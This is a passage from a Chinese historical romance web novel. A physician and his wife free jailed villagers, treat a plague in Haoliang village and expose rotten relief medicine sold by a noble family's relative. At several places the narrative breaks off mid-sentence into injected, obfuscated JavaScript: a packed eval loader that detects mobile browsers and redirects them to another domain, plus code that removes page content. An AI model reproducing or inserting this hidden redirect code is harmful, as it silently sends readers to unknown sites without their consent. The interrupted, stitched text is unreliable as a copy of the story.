君迁轻声道了句无妨,目光复杂地深望着她,一时也无从说起。那胖乎乎的徐县令也跟来牢里,连连向着金坠赔笑: “一场误会,一场误会!还请金令人劝劝你家官人,有话好说,先请他老人家出来吧!” 君迁背向牢门一动不动,伸手指向隔壁牢房,冷冷道: “要放便将所有人都放了,不然我便一直待在此处。” 徐县令面露难色:“哎哟我的好官人,这是怎么说!咱们县衙有县衙的规矩……” 话音一落,隔间牢房中响起一片哭声,看模样皆是穷苦平民,个个都扒着牢门喊冤。金坠略一思忖,对徐县令道: “我倒想请他出来,可你也听见了,我夫君是个死性子,向来说一不二的,我实在劝不动,也不好丢下他不管,索性就在这里陪他吧!” 说罢,兀自走到牢房角落抱臂坐下,怡然自得地轩了轩眉毛。徐县令见她也要当钉子户,慌忙道: “金令人说笑了!隔壁那些都是聚众闹事的刁民,万没道理放出去的……” 君迁冷声打断:“他们都是附近濠梁村的乡民,受当地疫疾所困,来此寻求医药,何谓闹事?” 百姓们纷纷应声:“就是!村里闹瘟疫死了许多人,没医没药,官府还派兵来封了村,不管大家死活。乡亲们实在没法子,趁着半夜溜出来求救。这位郎君听说咱们的遭遇,不但好心替咱们看病施药,还带着大伙来县衙讨说法,不想却被他们栽赃陷害,那些真正的骗子庸医却在外头谋财害命没人管……” 金坠闻言站起身来,质问徐县令:“听说贵衙门是以贩售假药、煽动闹事的罪名羁押了我夫君?不知他贩的什么假药,闹的哪门子事?” 徐县令连连作揖:“一场误会,一场误会……” 金坠冷笑:“好啊,既然我夫君之事是一场误会,这些百姓都是与他一道被抓来的,又有何罪?” 徐县令支支吾吾。金坠故作无奈地叹了口气,幽幽道: “县令既有疑虑,不妨将此案上报州府,请示裁夺——州里管刑名的胡通判巧是家父门生,我们夫妇就在贵衙门的大牢里等候,想必自会有个公允的答复。” 徐县令鼠眼一转,讪笑道:“底下的人办事糊涂,今日收监时辰已晚,未及详察。在下亦觉此案颇有疑点,本待明日升堂审理。如今金令人亲临,误会既消,请恕鄙县失察之罪……” 金坠微笑:“外子平素爱好医理,得空便以行医义诊为副业。怠慢了他倒好说,若是怠慢了他的病人,恐就不好说了。” 徐县令扭头一挥手:“都放出来!” 衙役得令,不情不愿地去开隔间牢门的锁。遭关押的百姓们一阵欢呼,鱼贯而出。徐县令恨恨地皱着眉,旋即向君迁躬身赔笑道: “官人仁心仁术,还请不计前嫌……” 君迁强忍厌恶,敛容道:“临淮下游近遭水患,疫病蔓及多地,许多村庄缺医少药,濠梁村的势态尤为严峻,请县令即刻调派医官药饵前去赈济。” 徐县令长叹一声,负手而立,徐徐说道: “鄙县的情形官人也看到了,连衙门都只占这点儿地,公库供应临淮县里尚且不足,别处实是有心无力呀!实不相瞒,前回为赈桃花汛水灾,县衙本月的俸禄到现在还没发呢,这又闹起瘟疫,下月的饷更不知在哪儿呢!州郡里比咱们大的县虽有诸多,毕竟家家有经难念,谁也帮不上谁——官人你既是金宰执的爱婿,何不请他老人家上道劄子,求朝廷拨些济灾的款项下来救救急?” 言毕,意味深长地瞥了君迁一眼。君迁面色一沉,眸光似要烧起来一般。金坠知道多说无益,忙拉着他走出县牢。 获释的百姓们齐候在衙门外,见了救命恩人出来,一股脑围上前,向他们夫妇道谢不已,拽着君迁哀求道: “沈神医,你明日可一定要来啊!我家小女病得快不成了……” “是啊是啊,咱们濠梁全村可都指着神医你了!” 君迁尽力掩住眼底的哀愁,一一应允,神色十分温柔。金坠走到道旁的树下牵过那匹骑来的小马,轻抚着马儿柔软的鬓毛,对着漫天疏星叹息。 待灾民们散去,二人彼此相望,一时无言。金坠牵着马儿向君迁走去,撇撇嘴道: “说好三日回来,谁知你这般不守信。若我不来寻你,你是打算下半辈子都在这县牢里过了?” 君迁低低道:“抱歉,出了些意外……” 金坠盯着他:“所谓意外,是指意外下凡,去当了回救苦渡难的药师如来么?” 君迁有些赧然,柔声道:“多谢你救我出来。” “路见不平一声吼,应当的。”金坠微微抿唇,“其实你只消同他们说一句你是谁,便不会遭这牢狱之灾了。” “我谁也不是,除了我自己。” “你谁也不是,还不是靠这一道赫赫有名的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16022321|177882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金书铁券救命。” 金坠有些讥诮地叹了口气,斜睨君迁: “你这人也真拧巴,既羞于做本朝头号奸臣的东床快婿,当初何必给我送聘礼来?既已给人做了女婿,便堂堂正正利用好这名号,何必遭了冤屈只往肚里咽?” 君迁冷冷道:“他们关我一夜,明日升堂鞫审,若无罪证实据,依律便不得再羁我。” 金坠觉得他此言天真得可笑,揶揄道: “你这是头一遭出京,以为处处都有三法司么?还升堂鞫审呢!我今日若不亮出这身份来,他们连衙门口的鸣冤鼓都不让我敲,你还指望正大光明地为你这个‘江湖游医’升堂?” 君迁敛眉不语,半晌望向她:“你方才那样说,若他们当真去查……” “查什么,查我究竟有几分嫁妆,是不是金宰执的亲女儿?一个乡下县衙,你当是皇城司查祖宗十八代么?就算他们晓得我实有几斤几两,也万不敢怠慢的,我毕竟姓金。其实都不必抬出我叔父,只消告诉他们你是帝京来的,他们就不敢生事了。这些蠹虫都是这般德行。” 金坠冷笑一声,昂首端量着君迁,正色道: “看你此行鬼鬼祟祟,倒有些微服寻访的意思,还是由我出面替你挡挡吧——我还是头一回尝到这‘金令人’的好处呢!怎么样,夫凭妻贵的感觉不错吧?” 君迁微微苦笑,向她点一点头:“劳你大驾。” 金坠扬眉一哂,回身挠了挠小马的下巴,牵起辔绳。二人并肩漫步回馆驿,君迁忽道: “我答应了濠梁的乡民们,明日要前去巡诊。请你在馆驿多等我一日。” 金坠驻足:“为何要撇下我?” 君迁沉声道:“你不会想去那里的。” 金坠目光灼灼:“你怎知我不想?” “那不是你该去的地方。”君迁斩钉截铁地说道。 “那你觉得我该去哪里?舒舒服服地躺在床上,还是干脆乘轿子回帝京去?”金坠上前几步,挡在他面前,“你想独自去救苦救难占尽美名,留我躲在后头自私自利作壁上观,世上岂有这样不公之事?” 君迁垂首不言。金坠轻叹一声,认真地说道: “我知道你在担心什么。你放心,我平日虽蛮不讲理了些,却也晓得分个轻重缓急。你去治病救人是天大的事,我绝不会添乱的。” 君迁倏然望向她:“我不是怕你添乱……” 金坠回望着他:“那你怕什么?” 君迁欲语还休,移目不言。四下阒静,天上几点疏星将清凛凛的银光笼在他们身上,亦将前方的道路映得明明灭灭。金坠见他不做声,冷哼一声,牵着马儿走到前头,回首冲他粲然一笑: “我不怕,你也别怕!” 18.槐花雪 濠梁在临淮县西南七里,是座千年古村。殆因三面环水,屡遭洪患,瘟疫肆虐,至今已人烟凋敝。昔日庄子与惠子梁上观鱼【1】的胜迹无处可寻,举目唯见衰草枯物,断井残垣,萧条冷落不可胜言。 君迁此行本想避人耳目,昨日意外进了趟临淮县衙,金坠为救他不得已亮明身份,暂将那徐县令蒙了过去。二人不愿再生事端,天没亮便动身前往濠梁。这是方圆十里著名的鬼乡,车夫都不愿来。君迁重金加价才拦下辆骡车,远远将他们搁在村外便消失无踪。 下车后,君迁让金坠用纱布掩住口鼻,再三告诫她进村后不可随意触摸,尤需远离不洁水源。二人做足防护,徒步进村,刚到村口,便见一幅地狱变相图。水涝褪去后的污地上遍布横尸,人畜交杂,恶气盈天,尽是不知病死还是饿死的灾民。就在那满地尸骸旁,数条饿犬正与蝇蛆一同寄生于此,大口啃食着黑血腐肉。 盛世春光不曾朗照之处,竟是如此图景。有生之年,金坠从未目睹如此骇人场景,一时天旋地震,几欲作呕。君迁走在前面,觉察到她的异样,回首望向她。金坠不待他问话,敛神道了句无妨。正欲跟上前,土墙后蓦地蹿出一团黑影,抱住她的双腿连声哀嚎。 金坠魂飞魄散,才辨出跪在面前的是个枯骨般的老翁,口中喁喁悲鸣,似在乞讨。她连忙取出些钱币递去,那乞者接过一看,竟随手丢在地上,兀自哀嚎不绝。金坠十分惶惑,却听君迁低声道: “他想要的是药,并非钱财。” 金坠紧盯着他:“你身上就有药,为何不救他?” “他已活不过今日了。药量有限,需尽其用。”君迁上前轻拽过她的衣袂,“离远些。此疫凶险……” “那这些人就该死么?” 金坠打断他,指着道路两旁一息尚存的病人们。君迁面不改色,声音冷静得近乎残酷: “医者并非神佛,无法普渡众生。与其问我,不妨去问问那些本应渡人者,问他们何以视人命如草芥。” 金坠一怔,语带讥讽:“药医不死病,佛渡有缘人。许是这些人命中无缘,才没人肯渡吧。” 她叹息一声,垂眸望着那些苦苦挣扎的人们,喃喃轻语: “可我若是他们中的一员,将死之际,即使有人肯给我一包土,骗我说这是救命药,我亦会觉得好受许多,觉得自己尚未被尘世抛弃……” 君迁冷冷道:“我说过,这不是你该来的地方。” 金坠亦冷冷道:“我也说过,这不是只有你一个人能来的地方。” 君迁叹息一声,打开药匣,从中取出一包药粉,俯身递给那匍匐在地的老人,宽慰片言,又向前方的一座石桥而去,接着去看那里的病人了。 金坠没想到他会这么做,正要跟上,忽闻身后有人唤道:“金檀越!” 金坠闻声回首,见一个豆蔻年岁的小尼姑立在矮墙边望着她,惊喜道:“净月……?” 在这荒芜之地竟与寂照寺的那位小师父不期而遇,真叫人感叹机缘巧合。净月见了金坠更是激动,糯声道: “金檀越怎会来这里?” “外子来此出公差,我随他来的。小师父呢?” “我本就是濠梁人,六岁那年出家后便没再回来过。月前听说这里遭了水患瘟疫,以前住在我家隔壁的婆婆家里人都去世了。师父准我回乡探亲替大家做场法事,我便来了……” 净月伤感地说着,又好奇问金坠: “金檀越,你夫君是做什么的,怎会到这里来出公差?” “他……他算是药师如来座下的。”金坠指着正在远处石桥上给人看病的君迁,“瞧,他在那儿。” “阿弥陀佛,原来是个神医呀!” 净月欢喜不已,与金坠一同向村子正中的那座古桥走去,一路向她介绍村中情形。石桥上横七竖八躺了几个病人,君迁正跪地替他们看诊。净月忙上前合十行礼。金坠向他介绍道: “这位小师父是我的旧相识,专程来此超度亡灵。小师父有一位相熟的婆婆,家住村南,我们可以过去借宿。那儿还有许多病重之人,正需你的帮助。” 君迁颔首应道:“稍等,此处还有几位病人,我看完便过去。” 濠梁古村三面临河,唯村南有一处土坡,乃全城地势至高之处。每遭水患,此地便成了避难的不二去处。二人随净月来到此处,远见一株百年槐树矗立坡上,迎风招展,亭亭如盖。树下有茅屋星点,不见炊烟,不闻鸡犬。每家每户前都散乱堆着几个土馒头,走近了看,尘土未干,皆是刚挖的新坟。 正值晌午,四下无人,唯见树荫底下有个枯瘦的老妪,正跪在一座土坟前祭拜。雪白的槐花随风零落,将坟头和白头皆染得霜打一般。 净月见状,眼圈一红:“余婆婆!” 那老妪闻声回首,颤巍巍起身:“阿囡……是出家去了的阿囡么?” “是我!婆婆,阿囡回来看你了!” 净月扑上前去,一老一少在坟前抱头痛哭。余婆婆一手拥着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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君迁接过那药包拆开,但见其中乌黑一坨,皆是枯草烂叶泥沙碎屑。他几乎不敢相信眼前所见,一把将药掷在地上,切齿道: “这药从何而来?” 余婆婆哭诉:“派药的说这是官府从大药商那里采买来赈济的好药,临淮县下面几个受灾的村子都一样在吃!大家晓得这东西吃不得,几个村的父老乡亲连夜闯出去鸣冤,听说统统被扣在了县衙……可怜我们只好在这里等死!” 金坠在一旁听着,不禁怒火中烧,低低骂了声禽兽,问道: “阿婆可知那药商是何来头,竟敢这般目无王法?” “不瞒娘子,本地最大的生药铺正是那姓扈的开的——就是雍阳驸马大将军家的亲戚!堂堂皇亲国戚,见了官府都横着走,平民百姓又奈他何?” 【注释】 1.《庄子·秋水》庄子与惠施在濠水桥梁观鱼辩论,有名句“子非我,安知我不知鱼之乐?” 19.夜虫鸣 淮扬扈氏人尽皆知,正是雍阳大长公主的夫家。驸马虽已过世,扈家旧势不减,沾亲带故鸡犬升天者数不胜数。如今先帝龙驭上宾,新天子年少,大长公主自诩今上姑母,于宫闱内外极尽能事,远在京外的扈家子弟自也要借青云之力捞些本钱。几个受灾村落所需药饵本花不了多少钱,就算全用烂叶泥沙以次充好,对他们不过只是塞牙缝的生意。压在百姓头上,却是山一般的重量。 “二位贵人是从帝京来的,定也认识些头面人物。还求你们救人救到底,将大家的冤屈报上去,派个青天下来为百姓做主吧……” 余婆婆老泪纵横,倏然跪倒。君迁忙扶她起来,柔声道: “老人家勿忧。我会如实将此间灾情陈诉外界,尽力为你们纾难。” 此言刚落,周围响起一片感激之声。金坠四下环顾,见适才寂静无人的古树下已围满了村民,听说有神医前来救死扶伤,都前来瞻仰。君迁安抚人群道: “诸位稍安勿躁,有病重者的人家请先上前,待我逐一前去诊疗。此行亦带了些防治药物,可阻止疫病扩散,稍后请每户派出一名身强力壮者,协助我在城中各处派发。” 君迁言至此,回身指着树下的一口水井道: “此处的水源已遭污染,切勿再生饮了。我有一些净水之法,稍后会当众演示,烦请诸位乡亲都出门来观看。” 乡民们闻言,无不感激涕零,念佛之声不绝。净月更是如同见了药师如来本尊,寸步不离跟在君迁身后端药侍水,仰慕之情溢于言表。 金坠稍不留神,已被独自撇在树下。远远望去,见君迁被前呼后拥着离开,须臾消失在视野。她忽有些怅然若失,回过神来,紧随他而去。 他们在梁濠村中忙了终日,自南向北,从西往东,挨家挨户问诊派药。每至河边井前,君迁便耐心向乡民们演示净水方法,教大家以生绢制作漉水囊,并投放草石等滤出杂质,自己却顾不得饮上滴水。 遭水患之地,净水尤为珍稀。他们随身带来的水早在一路出诊时便给病人喝了,好在余婆婆临行前亦为他们备了水囊。金坠将它递给君迁,他才觉得渴,却只呷了一口便还给她。金坠以为他嫌水不洁,便道: “你放心,这水是按你教的法子滤过煮沸的,干净得很,你宽饮便是。” “我知道。”君迁望着她,“你不喝么?” 金坠一愣,才意识到自己亦是滴水未进。跟着他在村中逡巡整日,不觉已过饭点。此时不仅嗓中冒烟,腹中也空得发慌。君迁柔声道: “你先回去吧,余婆婆应已备了饭食。” “你不回么?” “东面还有几户人家有病人待诊,我去看过便来。” 君迁语毕,见替他去远处派药的净月回来了,便请她先同金坠回余婆婆家。金坠不愿落了下乘,奈何君迁执意坚持,净月亦百般相劝,她只得答应先回。 天色已晚,夜枭凄啼。家家门户紧闭,放眼仅见暮色下缟素翻飞,更衬得此间犹如鬼城。好在有几个热肠的青年主动护送她们回去,一路平安到了那大槐树下,远见余婆婆的茅屋中灯明烛暖,终于安下心来。 善良的老妪早已备好一桌热饭菜,招呼她们吃夕食。金坠平素虽吃得简单,却也从未用过这些涩茶糙米,一时难以下咽。又想到这些已是精心待客所备,粒粒辛苦,强逼自己吃得一干二净。 余婆婆一家老小皆死于瘟疫,形影相吊,乐见饭桌前又有了生气,拉着她们说个不停。说起净月幼时往事,娘儿们欢声笑语,如在旧日;言及伤心处,复又无语凝噎。金坠在一旁听着这对苦命童嫂叙旧,只觉心如刀绞,暗自悲叹。 “阿弥陀佛,上苍福佑,为我们送来个活医仙……若不是今日见到了沈神医,老婆子还不知世间竟有这样好的人!” 余婆婆喟然叹息,向着金坠欣慰一笑: “金娘子不知积了多少善缘,才嫁了这前世修来的好郎君哩!” 净月亦道:“是呢,今日大家随沈檀越在村里巡诊派药,女娘们见了他,都说他性子温柔,长得又好看,没一个不羡慕金檀越的呢!” 金坠不知如何应答,只道:“世上还有许多性子温柔、长得好看的人,不只他一个。” 净月坚称:“可沈檀越就只这么一个呢!” 金坠苦笑:“是呢,幸而就这一个,再多几个,各路神佛可都没活干了!” 净月咯咯笑:“那正好!神佛没活干,我也不必在寺里念经伺候他们,同你们一道行走江湖治病救人才好呢!” 她们围坐闲聊,不觉已是亥时彦夜,君迁终于巡诊归来。余婆婆见了医仙凯旋,好不激动,忙招呼他用茶吃饭。君迁劳碌整日,饥累交加,细细地将粗茶淡饭吃得一点不剩。金坠知他疲乏,也不说话扰他,单手支颐闲坐案边看着他吃饭。 须臾饭毕,到了就寝的时辰。农家狭小,只两间屋子,余婆婆便让净月睡在自己屋里。还有一间本是她儿子儿媳的寝房,斯人已逝,正好让给神医夫妇过夜。金坠想到先前那句“万一只剩一间房”的谶语,只得暗自苦笑。 二人进入屋中,但见此间十分逼仄,家徒四壁,只一张草塌。金坠想到那对病亡的夫妇及他们的两个孩子生前便是挤在这样一间陋室中过活,不禁深感凄然;侧目见塌上落着只蒙尘的布偶,许是那去世不久的孩童落下的。她心中难过,正欲去拾,忽听君迁在身后道: “别碰它。” 金坠缩回手,见君迁走上前来,冷声道:“他们病死于此,这里的东西或染了疫毒,不可触碰。” “既如此,是不是该放把火烧了?” “保险起见,确应如此。” “人家好心留我们过夜,你却想烧了她的屋子,沈学士可好生无情。” “瘟病比我更为无情。” 君迁语毕,从药匣中取出一柄银火剪,将案上烛台中微弱的火焰拨得更旺。金坠惊道: “你不会真打算烧了别人家吧?” 君迁不言,待烛火渐亮,从匣中取出一个纸包打开。里面是几丸香药,散着艾叶丁香的苦味。他将那香丸点燃,置于案前,待袅袅苦香弥散屋室,驱逐疫气;又取出一枚赭黄色的石块,以火剪钳于烛焰上熏烧,回身对金坠道: “将手给我。” 金坠一凛:“做什么?” 君迁正色道:“雄黄烧烟,熏于袖间,可杀毒驱疫。” 金坠松了口气,撇撇嘴角:“我还以为你要连我一起烧了呢。” 君迁一哂:“我还不至于如此无情。” 他将烧得焦红生烟的雄黄石夹出来,迅速裹于一块生绢中,示意她伸手。金坠只得乖乖将手给他,君迁轻捏过,将那火热的雄黄绢贴于她袖口腕间。金坠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你先歇息吧,切记待香焚尽了再上塌。” 言毕,提着医匣随净月而去。金坠望着他在夜色中匆匆远去的身影,心中无来由地一颤,倚门唤道: “君迁……!” 相识以来,她还是初次这般唤他。君迁刚走到院中,蓦然回首,神情错愕,疑心听错了。金坠亦未料到自己竟会脱口而出他的名字,不愿让他察觉异样,忙侧过身去,垂眸低语: “外面天黑,你……你路上小心。” 君迁驻足望了望她,莞尔道:“好。” 他走时已近子时。四下阒然,唯闻茅屋外风吹槐叶簌簌,间有凄清夜虫声。金坠独自待在陌生的农家小屋中,想到屋主此刻正埋于窗外那槐树底下,一时心有戚戚,深感迷惶。 她走到草塌前,俯身深吸一口燃着的艾香,好令自己平静下来,心中却隐隐有些空落。起身在屋中踱步,四顾徘徊,忽见案上清光如月,惊觉忘了将适才熏袖时取下的那只翡翠镯戴回去。 金坠获救般奔去,拾起故人留下的遗物。掌心温热,玉身冰冷,似万年不化的寒冰。她将镯子转过来,轻抚镯身内侧刻着的那两个小字。 “阿儡,阿儡……” 梦呓似的,她喃喃轻唤着那个曾属于自己的名,试图将内心的空落填满。殿下生前同她说过,苗疆的女子若有所思,不去唤心上人,而是仿照恋人的口吻呼唤自己的名,便会获得露水女神央阿沙赐福。往日,每当她深陷困顿之际,只消捧起这只镯子,立时便可安心。仿佛她的“桑望”从不曾离她而去,只是在某个遥远之地静静守望她,于冥冥之中赐予她隐秘的抚慰与陪伴。 可是今夜,他在何处呢? 20.子非鱼 许是日间见多了灾疫场景,这晚金坠睡得极不安稳。整夜梦中光怪陆离,逼仄得很。浑噩转醒时,拂晓方至。借宿的小农舍中空空落落,满目萧条。 昨夜君迁临走前在塌边点燃的那支艾香早已燃尽。烟灭烬寒,药香犹在。金坠四下环顾,不见他人影,忙起身小跑出去。到了昏暗的堂屋,远见一人伏案而眠,正是她那寅夜出诊去的夫君。不知他昨夜几时回来,也没回房,直接睡在了外屋。 金坠蹑步到君迁身边,见他侧首枕臂,睡颜疲倦,眉心微蹙。茅屋漏风,冷风穿堂,冻得人直哆嗦。金坠出门时忘了披衣,正要回去,瞥见地下落着件粗布外衫。许是屋主余婆婆恐君迁着凉,取来自己的衣物为他披上,在翻身时滑落了。她轻叹一声,俯身拾起那件旧衫,轻轻盖回他肩上。 已是日出之时,梁濠村中仍一片冷寂,不时有两三声鬼哭似的鸡鸣鸦啼。金坠回屋洗漱毕,来到村舍外的那座小坡上。小尼姑净月正跪在老槐树下的一座座土坟前,喃喃诵着超度经文。晨风拂动树冠,抖落一片春寒。四下寂静,唯闻枝叶簌簌轻摇,梵呗如槐花雪散。 净月念完了经,向坟前一拜,回首见金坠悄然而至,忙施礼道:“金檀越这么早便起了?” 金坠莞尔还礼:“不如小师父早。” “我昨夜随沈檀越出诊回来就睡不着了,便来这里为大家诵经。小时候,我家就住在这边上。余婆婆家的阿哥阿姊们待我最好,什么好吃的都留给我。每年秋天,村里的孩子们都会来这棵大槐树下捡果子。可一转眼,大家都埋在这里了,留我一个人在外头……” 净月仰望着土坟后那株高大的槐木,两个眼圈黑黑的,又染了一层红。抹了把泪,合十向金坠一礼: “阿弥陀佛,好在金檀越为我们带来一位药师如来,大家可算有救了!” “我可没那么大本事。是他感知到人世疾苦,自己下凡来了。”金坠柔声道,“昨夜那个被刀子割伤的小女娃怎么样了?要紧么?” “皮开肉绽,流了好些血,看着可吓人了!万幸沈神医去得及时,及时清了创再将伤处缝合好了。那小女娃才六七岁大,哭得厉害。沈神医医术高超脾气又好,一面替她疗伤,一面安慰她,温柔又耐心,三两下功夫便不见血了。她家里人高兴得什么似的,直唤他是医仙呢!” 净月满面崇敬,踌躇片刻,小声对金坠道: “对了金檀越,还记得先前你在寂照寺布施给我的那支金钗么?昨夜沈神医要替那小女娃缝合伤处,不巧没带医针,四处都寻不到合适的。正好我随身带着那支钗子,便交给他做缝针用了。毕竟是宫里的东西,我也不知这样是否合适,想与你说一声……” 金坠一怔,想起前回去寂照寺剃发未果,信手将宫里赐她的那支金蝶聘钗布施给了净月,未料竟在此地派上了用处。见净月有些忐忑,莞尔道: “那其实是我的定亲礼,你交给他倒也好。” “定亲礼?”净月一惊,“难怪我昨夜告诉沈神医这钗子是你给我的,他盯着瞧了好久呢!早知那般贵重……” “再是贵重,有人命要紧么?”金坠微笑,“你们佛家说救人一命胜造七级浮屠,一支钗子而已,能救人便是它的造化。你的沈神医定也是这么想的。” “阿弥陀佛,造化造化!幸好金檀越那会儿没把头发剪掉。”净月拨了拨念珠,忽低低问金坠,“金檀越,你是不是……不喜欢你夫君呀?” 金坠一怔:“何以见得?” 净月严肃道:“那日在寂照寺,我见你死活不愿随家人回去,还以为他们要逼你嫁个癞蛤蟆呢。昨日见到了沈神医,发现他竟那样好,简直做梦都盼不来。都说新婚夫妇如鱼得水,可我见你闷闷不乐的,都不怎么与他说话……” 金坠一哂,幽幽道:“子非鱼,安之鱼不乐?” “奇怪,你俩怎么说了一样的话?”净月惊讶道,“昨夜我随沈神医出诊回来,也问了他同样的问题。刚好我们走在濠梁桥上,他便望着河水这样说什么鱼不鱼的……” 金坠笑道:“这话不是他说的,也不是我说的——你出生在这里,莫非不知濠梁桥便是庄子与惠子观鱼的胜地?身临其境,引经据典,人之常情。” “阿弥陀佛,我是佛门弟子,看不得道家的书呢!”净月合十一笑,“不过濠梁桥确实颇有名呢。小时候,我与朋友们在桥上玩,常看见许多恋人慕名前来。传说男女两人各从桥的两端走到中间,不被水沾湿衣衫鞋袜,便可白头偕老,恩爱不离。后来,河水越来越浑,常将桥身淹没,很少有人再来这里了……” 金坠听着净月忆旧,想起昨日在桥边所见惨景,不禁深感戚然。小尼姑又道: “昨夜我们走在桥上,沈神医让我告诉孩子们这水很不干净,让他们以后别再这里玩了,若掉下去他也救不了。我便同他开玩笑,问他假如金檀越从桥上掉进河里,他救不救你?” 金坠道:“他怎么说?” 净月道:“他让先我来问姊姊你,说他的答案和你一样。” “我就知道他盼着我淹死!”金坠冷笑,“可惜他失算了,我会救他的——不把他这尊菩萨从苦海里捞出来,如何普度众生?” 净月忙道:“也许他知道你会救他才这么说呢!沈神医对别人都那么好,自家娘子若有危险,他定愿为了你豁出性命呢!” 金坠道:“那倒不必了。他的命比我值钱,需留着救更多人才是。” 净月笑道:“他人那么好,长得又好看,金檀越为什么不喜欢他呀?” “他是很好,可并不是好的就是适合自己的。”金坠正色道,“再说我可不觉得他有多好看。是你自己情人眼里出西施吧?” 净月小脸一红:“我是出家人,金檀越莫取笑我!沈神医本是你夫君,是你情人才对!” 金坠苦笑:“可惜,我和他目前只能算敌人。彼此眼里不出西施,只出东施!” 净月撇撇嘴,望着金坠澄澈无波的面庞,蓦地小声问道:“金檀越,你……还在想嘉陵王殿下么?” 金坠一怔,垂眸不言。净月叹息一声,轻轻道: “我觉得,沈神医和殿下其实是一样的人。他们都有一颗温柔善良的心啊……” “不,你不了解。他们一点儿也不一样。” 金坠冷冷打断。净月见她脸色不好,连忙缄口。金坠轻叹一声,向这思凡的小尼姑打趣道: “你那么喜欢沈神医,不如等你还了俗,我把他送你可好?” “金檀越莫说笑,我不能还俗的!” 净月低头掩住颊边飞红,抬头望着亭亭如盖的老槐树,黯然道: “当初爹爹养不起我,不得已才把我送去了佛门。我若离开寂照寺,也没地方可去了。我打小在这棵大树下长大,七岁那年离开,很多年没有回来了。如今树还是当年的模样,家乡却和记忆中完全不同了……” 金坠闻言心酸,伸手摸了摸净月冰凉的小脸,替她拭去了泪。净月一怔,扑进她怀里啜泣不已。半晌缓过神来,携着金坠的手道: “金檀越莫担心,寺里很好,虽有些无聊却很清净。你和沈神医是我见过最好的人,我会一直在佛前为你们诵经祈福,愿神佛保佑你们二位福泽绵长,无灾无病。还有嘉陵王殿下——祝福殿下来生广承善因,不溺幽冥……祝福你们。” 金坠颔首微笑,心中一颤,不知不觉亦落下几滴泪来。 回到余婆婆家时,君迁已醒了,正在案前埋首撰写医方。老妪热心为他端上朝食,见金坠和净月来了,忙招呼她们来吃。净月问君迁昨晚可休息得好,君迁还没说话,余婆婆满脸心疼道: “就这么伏在桌边,怎睡得好?沈神医忙着治病救人,也需注意自己的身子呵!” “昨夜我们出诊回来已很迟了,沈檀越恐回屋吵到,特意睡在外头的。”净月说着看向金坠,“瞧你夫君多心疼你呀,金檀越也该心疼心疼他才是!” 金坠故道:“你怎知我不心疼他?” 余婆婆笑道:“金娘子人美心又善,有这么个贤内助,沈神医大可放心出去济世哩!” “夫妇同心,互尊互助,不分内外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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君迁闻言上桥,向她走去。濠梁三面环水,桃花汛虽已褪去,水势仍在高位。晚风徐来,水波漫过桥桩,深浅不一地拍打在青苔苍翠的桥身上。 金坠目不转睛地盯着君迁,见他从桥那头走来,不疾不徐,滴水未沾;快到岸边时,终是被一股急流沾湿了衣角。她想到净月说的那个濠梁桥恋人的传说,当下松了口气,心中却又有些怅然若失。 君迁浑然未觉,到了对岸,问她道:“何事?” 金坠原只想作弄他一番,见他当真过来了又不知该说什么,只得改口道: “我忘了……回头再说吧。” 语毕匆忙转身,刚要过桥回去,忽觉腕上一热,竟被君迁紧紧攥住了。金坠一惊,正要质问,却听他正色道:“不要。” 金坠一愣:“什么?” “不要跳下去。”君迁深望着她,“……我会救你的。” 他神色严肃,紧攥着她的手不放,好像唯恐她被水卷走。金坠一头雾水,半天才想明白他的意思——许是净月昨夜同他在此处开了那不合时宜的玩笑,问她若落水他可会出手相救,竟被这仁心的良医当了真,以为她又要佯疯作癫来作弄他,先发制人将她扣下了。 金坠哑然失笑,嗔道:“谁说我要跳河?我再无知,也知这水里很脏,除非不想活了才会跳下去。你若救我,只怕是泥菩萨过河,自身难保了!” 君迁一怔,松开她的手,背过身去:“那不正合你意么?” “子非我,安知我意?”金坠眨眨眼,跑到他面前,主动将手摊在他面前,“你不放心,手给你。你抓着我过河,总不怕我跳下去了吧?” 君迁看着她伸来的手,并不去碰。金坠叹了口气,不等他回神,反手攥住他的衣袖飞奔过落霞如火的石桥,须臾已回到对岸。 “苦海有涯,多谢你渡我到彼岸,药师如来!” 古桥夕照,流水金沙。金坠松开他的手,逆着斜阳向他笑了笑。君迁冷不防被她拽过了桥,似在那如梦似幻的霞影中失了神。半天才回过神来,抿了抿唇,柔声道:“彼此。” 21.山樱红 离开濠梁,二人返回临淮渡乘夜船继续南下。这次的船上并无别的旅客,难得清净。君迁点了一盏小灯,独自在船舱中伏案疾书,记录此行见闻。金坠也不多话,静静在一边做着绣活。不久有了困意,便熄了蜡烛,听着水声桨音睡下。 浮舟曳曳,一夜好眠。再睁眼已是翌日,朝霞洒进船舱,令人困乏皆消。金坠来到船舷上,见君迁正凭栏独立,望着东方水面上初升的红轮出神。 她不去扰他,兀自到船边俯下身去,鞠了一捧清水洗面。水凉沁心,她惬意地叹息一声,放下长发,以水为镜梳起头来。侧过头时,瞥见君迁正回首望着她。旭日在他身后水天相接处升起,令他周身笼于绯红的霞影中,显得分外缥缈。 四目相对,金坠一时不知说什么,只向他颔首道:“……早。” “早。”君迁亦向她点了点头。 二人都不说话,气氛一时颇有些窘迫。金坠一面临水梳头,一面自嘲道: 